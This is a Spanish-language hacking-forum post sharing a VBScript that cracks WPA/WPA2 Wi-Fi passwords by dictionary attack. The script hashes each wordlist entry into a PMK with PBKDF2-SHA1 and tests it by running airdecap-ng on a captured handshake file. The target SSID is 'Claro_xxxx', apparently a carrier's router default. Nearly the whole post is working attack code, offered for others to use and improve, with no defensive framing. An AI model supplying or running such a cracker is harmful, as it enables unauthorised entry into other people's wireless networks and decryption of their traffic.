elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Rompecabezas de Bitcoin, Medio millón USD en premios


  Mostrar Temas
Páginas: [1]
1  Seguridad Informática / Hacking Wireless / WPA crackeador con diccionario en: 12 Mayo 2015, 16:00 pm
Hola mis queridos colegas !!

Bueno, tenia mucho tiempo que no andaba por aqui, pero bueno, en los ultimos dias he estado programando un pequeño script en vbs el cual me ha dado buenos resultados es rapido y no consume CPU, ni memoria como el ya conocido aircrack, se me ocurrio hacelo de esta manera ( cosas de locos, ya saben )
aqui les dejo el codigo si alguien puede perfeccionarlo pues mucho mejor,[/img][/img][/img] requisitos :

airdecap-ng (librerias)
ChilkatAx-9.5.0-win32.zip ( http://www.chilkatsoft.com/download/9.5.0.49/ChilkatAx-9.5.0-win32.zip )
diccionario y dale pedale.....

Código
  1. Dim fso, outFile, variable, pw, tama
  2.  
  3. ' abre el diccionario
  4. acum = 0
  5. const ForReading = 1
  6. Set objFSO = CreateObject("Scripting.FileSystemObject")
  7. Set objTextFile = objFSO.OpenTextFile _
  8. ("f:\wpa2\clarohauwai-3.txt", ForReading)
  9. start_time = time()
  10.  
  11. ' empieza a recorrer el diccionario
  12. Do Until objTextFile.AtEndOfStream
  13. strNextLine = objTextFile.Readline
  14. arrServiceList = Split(strNextLine)
  15.  
  16. Set crypt = CreateObject("Chilkat_9_5_0.Crypt2")
  17. success = crypt.UnlockComponent("pepe")
  18. If (success <> 1) Then
  19.    outFile.WriteLine(crypt.LastErrorText)
  20.    WScript.Quit
  21. End If
  22.  
  23. '  pasada del diccionario WPA passphrase
  24. pw = arrServiceList(0)          'Induction
  25. pwCharset = "ansi"
  26. acum = acum + 1
  27.  
  28. '  Hash algoritmo: sha1, md2, md5, etc.
  29. hashAlg = "sha1"
  30.  
  31. ' ssid y lo convierte a hex
  32. strString = "Claro_xxxx"     'Coherer
  33. strHex =""
  34. For i=1 To Len(strString)
  35.    strHex = strHex + Hex(Asc(Mid(strString,i,1)))
  36. Next
  37.  
  38. ' asigna la variable a ssidHex
  39. ssidHex = strHex
  40.  
  41. '  la WPA key calcula 4096 interaciones.
  42. iterationCount = 4096
  43. outputBitLen = 256
  44. enc = "hex"
  45.  
  46. start_time2 = time()
  47.  
  48. ' reliza el calculo del hash
  49. wpaHexKey = crypt.Pbkdf2(pw,pwCharset,hashAlg,ssidHex,iterationCount,outputBitLen,enc)
  50.  
  51. ' llama el airdecap y le envia el hash calculado
  52. Set WshShell = CreateObject("WScript.Shell")
  53. Return = WshShell.Run("f:\wpa2\airdecap-ng.exe -l -k " & wpaHexKey & " -e " & strString & " F:\WPA2\rules\Claro_xxxx.cap",0, True)
  54.  
  55. ' imprime variables
  56.  WScript.echo "SSID        :", strString  ,            "                     | Cantidad:",acum
  57.  WScript.Echo "------------------------------------------------------------------------------"
  58.  WScript.echo "CLAVE       :", pw
  59.  WScript.Echo "------------------------------------------------------------------------------"
  60.  WScript.echo "WPA PMK     :", wpaHexKey
  61.  WScript.Echo "------------------------------------------------------------------------------"
  62.  
  63. ' determina el size del archivo que genera el airdecap
  64. filename = ("F:\WPA2\rules\Claro_xxxx-dec.cap")
  65. Set fso = CreateObject("Scripting.FileSystemObject")
  66. Set f = fso.GetFile(filename)
  67. tama = f.Size
  68.  
  69. ' si el archivo -dec.cap es alterado, ocea cuando se le envia el hash entonces....blablabla
  70. If tama > 24 Then
  71.   WScript.Echo " "
  72.   WScript.Echo "========================================"
  73.   WScript.Echo " "
  74.   WScript.Echo "Clave desifrada 100% :", pw
  75.   WScript.Echo " "
  76.   WScript.Echo "========================================"
  77.   Exit do
  78.  
  79. End If
  80.  
  81.  
  82. Loop
  83.  
  84. 'airdecap-ng -k A288FCF0CAAACDA9A9F58633FF35E8992A01D9C10BA5E02EFDF8CB5D730CE7BC -e Coherer wpa-Induction.pcap | find "decrypted WPA"

Suerte !!!!

Mod: Los códigos deben ir en GeSHi
Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines